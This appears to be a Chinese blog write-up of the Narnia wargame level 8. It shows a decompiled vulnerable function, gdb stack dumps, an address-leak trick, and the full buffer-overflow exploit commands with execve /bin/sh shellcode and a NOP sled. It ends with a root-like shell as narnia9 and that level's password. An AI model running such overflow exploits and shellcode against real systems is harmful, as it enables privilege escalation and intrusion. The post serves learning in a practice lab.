170902 WarGames-Narnia(8)

1625-5 王子昂 总结《2017年9月2日》 【连续第334天总结】
A. WarGames-Narnia
B.

Level 8
int __cdecl func(int a1)
{
  char s[20]; // [sp+18h] [bp-20h]@1
  int v3; // [sp+2Ch] [bp-Ch]@1

  v3 = a1;
  memset(s, 0, 0x14u);
  for ( i = 0; *(_BYTE *)(i + v3); ++i )
    s[i] = *(_BYTE *)(i + v3);
  return printf("%s\n", s);
}

看起来很简单,v3=a1=argv[1]
构造溢出使s覆盖到func()的返回地址即可
堆栈结构为20(s)+ 4(v3) + 8(无用) + 4(ebp保护) + 4(返回地址)
不过简单的offset从s溢出到返回地址时会破坏v3,而循环赋值是从v3取的地址,因此在抵达返回地址之前就中断了

解决方法就是记录下v3的值,使s溢出的时候不破坏它而覆盖返回值
通过gdb调试,断在printf时查看堆栈可以得到v3的值(即argv[1]的值)

直接输入后发现还是不行,再次测试发现长度不同时argv[1]的值也有所偏移:

(gdb) r python -c 'print "a"*19'
0xffffd6ec: 0x61616161 0x61616161 0x61616161 0x00616161
0xffffd6fc: 0xffffd8ff

(gdb) r python -c 'print "a"*20'
0xffffd6ec: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd6fc: 0xffffd8fe

也就是说每多一个字符缓冲区就向后偏移一个字节
通过len计算长度得到字符串地址是一种方法
更简单的方法是通过gdb在func处下断,输入等长shellcode后直接观察堆栈中的信息找到字符串地址:

(gdb) break func
Breakpoint 2 at 0x8048433
(gdb) r python -c 'print "a"*20 + "\xff\xff\xff\xff" + "a"*12 + "\xff\xff\xff\xff" + "\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'

Breakpoint 2, 0x08048433 in func ()
(gdb) x/40x $esp
0xffffd6b0: 0xffffffff 0xffffd6de 0xf7e2fc34 0xf7e55fe3
0xffffd6c0: 0x00000000 0x002c307d 0x00000001 0x080482bd
0xffffd6d0: 0xffffd8c1 0x0000002f 0x08049790 0x08048542
0xffffd6e0: 0x00000002 0xffffd7a4 0xffffd708 0x080484cd
0xffffd6f0: 0xffffd8d1 0xf7ffd000 0x080484fb 0xf7fcc000
0xffffd700: 0x080484f0 0x00000000 0x00000000 0xf7e3cad3
0xffffd710: 0x00000002 0xffffd7a4 0xffffd7b0 0xf7feacca
0xffffd720: 0x00000002 0xffffd7a4 0xffffd744 0x080497a4
0xffffd730: 0x0804820c 0xf7fcc000 0x00000000 0x00000000
0xffffd740: 0x00000000 0xd8504a6f 0xe06b4e7f 0x00000000

查看以ffff开头的可疑地址,发现d8d1是真正的缓冲区
那么将覆盖v3的值改为0xffffd8d1,覆盖返回地址的值改为0xffffd8d1+40(懒得计算的话也可以在ShellCode前输入大量的\x90来做滑雪板,最后返回地址随便加个三五十就行了)

(gdb) r python -c 'print "a"*20 + "\xd1\xd8\xff\xff" + "a"*12 + "\xf9\xd8\xff\xff" + "\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'

在gdb中溢出成功了,但是由于gdb附加的原因无法得到narnia9的权限,所以还是要回到shell中
然而shell中用同样的代码失败了,看来argv地址改变了,要想想别的办法

shell中就没法像gdb那样查看堆栈的内容来得到v3了,不过还有别的办法
缓冲区有20个字符,如果我们正好输入20个字符,那么printf的时候由于没有遇到\0就不会判断结束,继续打印之后的v3,从而泄露地址

narnia8@narnia:~$ /narnia/narnia8 python -c 'print "a"*20' >hex
narnia8@narnia:~$ hexdump hex
0000000 6161 6161 6161 6161 6161 6161 6161 6161
0000010 6161 6161 d90f ffff 0a02
000001a

计算一下,基址为0xffffd90f+20,减去shellcode长65,简单计算一下得到v3的地址d8e2
shellcode前置部分长0x28,加上以后为d90a
这次v3对了,但是一直报Segamentation fault,表示Shellcode没击中,试了几次都不行,没办法只好乖乖加20个滑雪橇才终于成功

narnia8@narnia:~$ /narnia/narnia8 python -c 'print "a"*20 + "\xc2\xd8\xff\xff" + "a"*12 + "\xff\xd8\xff\xff" +"\x90"*0x20 +"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
aaaaaaaaaaaaaaaaaaaa仑aaaaaaaaaaaa悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙3繮h//shh/bin夈PS夅蛝

$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
eiL5fealae

C. 明日计划
Nania9

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值